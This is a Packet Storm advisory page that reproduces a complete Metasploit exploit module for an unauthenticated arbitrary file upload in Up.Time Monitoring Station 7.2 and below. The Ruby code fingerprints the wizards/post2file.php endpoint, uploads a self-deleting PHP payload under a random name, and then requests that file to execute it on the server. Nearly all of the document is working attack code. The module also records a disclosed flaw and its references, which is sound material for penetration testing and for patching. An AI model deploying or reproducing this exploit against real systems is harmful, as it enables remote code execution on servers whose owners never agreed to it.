Up.Time Monitoring Station post2file.php Arbitrary File Upload

2013-12-07T00:00:00
ID PACKETSTORM:124328
Type packetstorm
Reporter metasploit.com
Modified 2013-12-07T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::PhpEXE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Up.Time Monitoring Station post2file.php Arbitrary File Upload',  
'Description' => %q{  
This module exploits an arbitrary file upload vulnerability found within the Up.Time  
monitoring server 7.2 and below. A malicious entity can upload a PHP file into the  
webroot without authentication, leading to arbitrary code execution.  
},  
'Author' =>  
[  
'Denis Andzakovic <denis.andzakovic[at]security-assessment.com>' # Vulnerability discoverey and MSF module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'OSVDB', '100423' ],  
[ 'BID', '64031'],  
[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Up.Time%207.2%20-%20Arbitrary%20File%20Upload.pdf' ]  
],  
'Payload' =>  
{  
'Space' => 10000, # just a big enough number to fit any PHP payload  
'DisableNops' => true  
},  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
[ 'Up.Time 7.2', { } ],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Nov 19 2013'))  
  
register_options([  
OptString.new('TARGETURI', [true, 'The full URI path to the Up.Time instance', '/']),  
Opt::RPORT(9999)  
], self.class)  
end  
  
def check  
uri = target_uri.path  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(uri, 'wizards', 'post2file.php')  
})  
  
if res and res.code == 500 and res.body.to_s =~ /<title><\/title>/  
return Exploit::CheckCode::Appears  
end  
  
return Exploit::CheckCode::Unknown  
  
end  
  
def exploit  
print_status("#{peer} - Uploading PHP to Up.Time server")  
uri = target_uri.path  
  
@payload_name = "#{rand_text_alpha(5)}.php"  
php_payload = get_write_exec_payload(:unlink_self => true)  
  
post_data = ({  
"file_name" => @payload_name,  
"script" => php_payload  
})  
  
print_status("#{peer} - Uploading payload #{@payload_name}")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(uri, 'wizards', 'post2file.php'),  
'vars_post' => post_data,  
})  
  
unless res and res.code == 200 and res.body.to_s =~ /<title><\/title>/  
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")  
end  
  
print_status("#{peer} - Executing payload #{@payload_name}")  
res = send_request_cgi({  
'uri' => normalize_uri(uri, 'wizards', @payload_name),  
'method' => 'GET'  
})  
end  
end  
`